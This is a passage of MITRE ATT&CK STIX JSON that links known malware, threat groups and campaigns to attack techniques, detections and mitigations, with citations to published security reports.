2021)","relationship_type":"uses","source_ref":"malware--d1008b78-960c-4b36-bdc4-39a734e1e4e3","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a88332d2-d03f-4139-b11c-19e82459189b","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT34 Dec 2017","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"}],"modified":"2020-03-17T02:14:56.027Z","description":"[POWRUNER](https://attack.mitre.org/software/S0184) may collect information about the system by running hostname and systeminfo on a victim.(Citation: FireEye APT34 Dec 2017)","relationship_type":"uses","source_ref":"malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a883e4c6-6a40-4660-9120-b2430099ccb6","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Hydraq Jan 2010","description":"Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"}],"modified":"2020-02-18T03:48:53.699Z","description":"[Hydraq](https://attack.mitre.org/software/S0203) includes a component based on the code of VNC that can stream a live feed of the desktop of an infected host.(Citation: Symantec Hydraq Jan 2010)","relationship_type":"uses","source_ref":"malware--73a4793a-ce55-4159-b2a6-208ef29b326f","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a88d4d4f-d10c-46b4-b89d-c26a465f8338","created":"2022-09-29T19:44:52.726Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T22:49:02.566Z","description":"Monitor processes with arguments that may be related to abuse of installer packages, including malicious, likely elevated processes triggered by application installations.","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--da051493-ae9c-4b1b-9760-c009c46c9b56","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a88e956c-6c71-47e1-b02c-d4c105542690","type":"relationship","created":"2020-05-04T19:13:35.486Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Carbon Black HotCroissant April 2020","url":"https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/","description":"Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."}],"modified":"2020-05-06T19:28:22.157Z","description":"[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to retrieve a list of services on the infected host.(Citation: Carbon Black HotCroissant April 2020)","relationship_type":"uses","source_ref":"malware--aad11e34-02ca-4220-91cd-2ed420af4db3","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a88fe386-79eb-48d0-a982-033b6f75845a","created":"2022-09-16T21:55:45.102Z","revoked":false,"external_references":[{"source_name":"McAfee Honeybee","description":"Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-16T21:55:45.102Z","description":"During [Operation Honeybee](https://attack.mitre.org/campaigns/C0006), the threat actors used the malicious NTWDBLIB.DLL and `cliconfig.exe` to bypass UAC protections.(Citation: McAfee Honeybee)","relationship_type":"uses","source_ref":"campaign--4553292d-12c6-4a93-934d-12160370d4e0","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a8981fca-0584-4e9e-8f92-83843e1e4462","type":"relationship","created":"2022-02-22T15:06:34.186Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks IRON HEMLOCK Profile","url":"http://www.secureworks.com/research/threat-profiles/iron-hemlock","description":"Secureworks CTU. (n.d.). IRON HEMLOCK. Retrieved February 22, 2022."}],"modified":"2022-02-22T15:06:34.186Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has used multiple layers of encryption within malware to protect C2 communication.(Citation: Secureworks IRON HEMLOCK Profile)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a89c60cc-5851-45bf-bcd6-f73f460351a5","type":"relationship","created":"2021-09-29T13:02:30.940Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Netscout Stolen Pencil Dec 2018","url":"https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/","description":"ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019."}],"modified":"2021-09-29T13:02:30.940Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used tools that are capable of obtaining credentials from saved mail.(Citation: Netscout Stolen Pencil Dec 2018)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a89cdaac-9bc9-4673-8dbd-bdf3417d5d71","type":"relationship","created":"2022-03-30T14:26:51.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.873Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a89ce82a-b4f6-4055-bed3-16c2eeb984a5","created":"2024-09-18T19:34:11.413Z","revoked":false,"external_references":[{"source_name":"Elastic Latrodectus May 2024","description":"Stepanic, D. and Bousseaden, S. (2024, May 15). Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID. Retrieved September 13, 2024.","url":"https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-18T19:34:11.413Z","description":"[Latrodectus](https://attack.mitre.org/software/S1160) has been obfuscated with a 129 byte sequence of junk data prepended to the file.(Citation: Elastic Latrodectus May 2024)","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a8a181e0-74b8-42e2-96c7-a75e57cbb2fe","created":"2024-07-01T20:06:14.369Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T20:06:14.369Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--bbfbb096-6561-4d7d-aa2c-a5ee8e44c696","target_ref":"attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a8a65990-8385-440b-8733-940a69b05f4e","type":"relationship","created":"2020-07-27T15:20:50.522Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trustwave Pillowmint June 2020","url":"https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/","description":"Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7’s Monkey Thief . Retrieved July 27, 2020."}],"modified":"2020-10-02T17:23:24.572Z","description":"[Pillowmint](https://attack.mitre.org/software/S0517) has used a PowerShell script to install a shim database.(Citation: Trustwave Pillowmint June 2020)\t","relationship_type":"uses","source_ref":"malware--bd7a9e13-69fa-4243-a5e5-04326a63f9f2","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a8aac75d-ef58-4dda-97a8-9584a6a6baaf","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf","description":"Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.","source_name":"Microsoft SIR Vol 21"},{"url":"https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Wingbird.A!dha","description":"Microsoft. (2017, November 9). Backdoor:Win32/Wingbird.A!dha. Retrieved November 27, 2017.","source_name":"Microsoft Wingbird Nov 2017"}],"modified":"2019-10-30T12:41:29.036Z","description":"[Wingbird](https://attack.mitre.org/software/S0176) uses services.exe to register a new autostart service named \"Audit Service\" using a copy of the local lsass.exe file.(Citation: Microsoft SIR Vol 21)(Citation: Microsoft Wingbird Nov 2017)","relationship_type":"uses","source_ref":"malware--a8d3d497-2da9-4797-8e0b-ed176be08654","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a8ad10f7-be41-4fb7-805b-f3b227e56b26","created":"2021-12-06T15:34:29.963Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-05T20:56:27.849Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has added newly created accounts to the administrators group to maintain elevated access.(Citation: US-CERT TA18-074A)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--3e6831b2-bf4c-4ae6-b328-2e7c6633b291","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a8aec030-1331-46d8-afa3-d08be70f55c0","created":"2022-03-25T21:08:25.042Z","x_mitre_version":"1.0","external_references":[{"source_name":"ESET Hermetic Wizard March 2022","url":"https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine","description":"ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HermeticWizard](https://attack.mitre.org/software/S0698) has the ability to scan ports on a compromised network.(Citation: ESET Hermetic Wizard March 2022)","modified":"2022-04-11T00:09:39.291Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--ff7ed9c1-dca3-4e62-9da6-72c5d388b8fa","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a8b248fe-a27c-40fd-83d5-f4382035d656","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html","description":"Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.","source_name":"FireEye Clandestine Fox"},{"url":"https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-evolution_of_pirpi.pdf","description":"Yates, M. (2017, June 18). APT3 Uncovered: The code evolution of Pirpi. Retrieved September 28, 2017.","source_name":"evolution of pirpi"}],"modified":"2019-04-29T18:01:20.276Z","description":"[APT3](https://attack.mitre.org/groups/G0022) has a tool that looks for files and directories on the local file system.(Citation: FireEye Clandestine Fox)(Citation: evolution of pirpi)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a8b39fac-bfe0-49c0-957f-8b8ebe2088c1","type":"relationship","created":"2021-09-28T18:53:02.507Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Ferocious Kitten Jun 2021","url":"https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/","description":"GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}],"modified":"2021-10-15T15:03:46.308Z","description":"[MarkiRAT](https://attack.mitre.org/software/S0652) can masquerade as update.exe and svehost.exe; it has also mimicked legitimate Telegram and Chrome files.(Citation: Kaspersky Ferocious Kitten Jun 2021)","relationship_type":"uses","source_ref":"malware--532c6004-b1e8-415b-9516-f7c14ba783b1","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a8b5c1b4-9ccf-46bc-9074-59e866efcc83","type":"relationship","created":"2020-06-10T20:30:38.936Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.417Z","description":"(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"malware--f0fc920e-57a3-4af5-89be-9ea594c8b1ea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a8b6a519-2159-46f0-916d-1f7a3d940eea","type":"relationship","created":"2020-09-30T14:52:09.005Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA WellMess July 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198b","description":"CISA. (2020, July 16). MAR-10296782-2.v1 – WELLMESS. Retrieved September 24, 2020."}],"modified":"2020-09-30T14:52:09.005Z","description":"[WellMess](https://attack.mitre.org/software/S0514) can identify domain group membership for the current user.(Citation: CISA WellMess July 2020)","relationship_type":"uses","source_ref":"malware--3a4197ae-ec63-4162-907b-9a073d1157e4","target_ref":"attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a8b86839-9c18-465d-aa02-0f0b0132421b","created":"2023-03-22T05:40:02.263Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason TA505 April 2019","description":"Salem, E. (2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019.","url":"https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware"},{"source_name":"Deep Instinct TA505 Apr 2019","description":"Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved September 16, 2024..","url":"https://www.deepinstinct.com/blog/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T16:25:13.665Z","description":"[TA505](https://attack.mitre.org/groups/G0092) has used base64 encoded PowerShell commands.(Citation: Cybereason TA505 April 2019)(Citation: Deep Instinct TA505 Apr 2019)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a8b93875-6ad4-492e-afa1-0549ada7d7ca","created":"2020-04-30T20:31:38.012Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 March 2020","description":"Glyer, C, et al. (2020, March). This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved April 28, 2020.","url":"https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-09T20:14:15.894Z","description":"[APT41](https://attack.mitre.org/groups/G0096) used Linux shell commands for system survey and information gathering prior to exploitation of vulnerabilities such as CVE-2019-19871.(Citation: FireEye APT41 March 2020)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a8c03a54-4337-449c-8ef0-d77046eb650f","created":"2024-09-23T20:46:18.168Z","revoked":false,"external_references":[{"source_name":"Sandfly BPFDoor 2022","description":"The Sandfly Security Team. (2022, May 11). BPFDoor - An Evasive Linux Backdoor Technical Analysis. Retrieved September 29, 2023.","url":"https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T20:46:18.168Z","description":"[BPFDoor](https://attack.mitre.org/software/S1161) can create a reverse shell and supports vt100 emulator formatting.(Citation: Sandfly BPFDoor 2022)","relationship_type":"uses","source_ref":"malware--8d1f89fd-4dde-40ab-80e0-a7b80249162e","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a8cfb738-65ac-4d5a-8ef7-d3a21eab02ea","created":"2020-10-22T20:25:26.594Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Recorded Future Turla Infra 2020","description":"Insikt Group. (2020, March 12). Swallowing the Snake’s Tail: Tracking Turla Infrastructure. Retrieved September 16, 2024.","url":"https://www.recordedfuture.com/research/turla-apt-infrastructure"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T16:22:40.021Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has developed its own unique malware for use in operations.(Citation: Recorded Future Turla Infra 2020)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a8d7e4da-53d8-45c2-8c87-70424d96a949","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east","description":"Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.","source_name":"FireEye APT34 Webinar Dec 2017"},{"description":"Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34’s Invite to Join Their Professional Network. Retrieved August 26, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html","source_name":"FireEye APT34 July 2019"}],"modified":"2020-03-16T20:14:22.874Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has used keylogging tools called KEYPUNCH and LONGWATCH.(Citation: FireEye APT34 Webinar Dec 2017)(Citation: FireEye APT34 July 2019)\t\n","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a8dc6cca-3ede-4110-baf1-8ce53fb655a9","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Orangeworm April 2018","description":"Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"}],"modified":"2020-03-18T00:52:18.914Z","description":"[Kwampirs](https://attack.mitre.org/software/S0236) collects OS version information such as registered owner details, manufacturer details, processor type, available storage, installed patches, hostname, version info, system date, and other system information by using the commands systeminfo, net config workstation, hostname, ver, set, and date /t.(Citation: Symantec Orangeworm April 2018)","relationship_type":"uses","source_ref":"malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a8e16c31-b516-4e64-ac0b-27d6b87bb82c","created":"2022-04-19T03:08:56.190Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Enforce registration and execution of only legitimately signed service drivers where possible.","modified":"2022-04-19T03:08:56.190Z","relationship_type":"mitigates","source_ref":"course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312","target_ref":"attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a8e36e77-3899-4e7c-b27e-ab6ebf049066","created":"2019-01-31T02:01:45.675Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye Hacking FIN4 Video Dec 2014","description":"Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved January 15, 2019.","url":"https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html"},{"source_name":"FireEye Hacking FIN4 Dec 2014","description":"Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-fin4.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-01T21:27:44.792Z","description":"[FIN4](https://attack.mitre.org/groups/G0085) has used spearphishing emails (often sent from compromised accounts) containing malicious links.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye Hacking FIN4 Video Dec 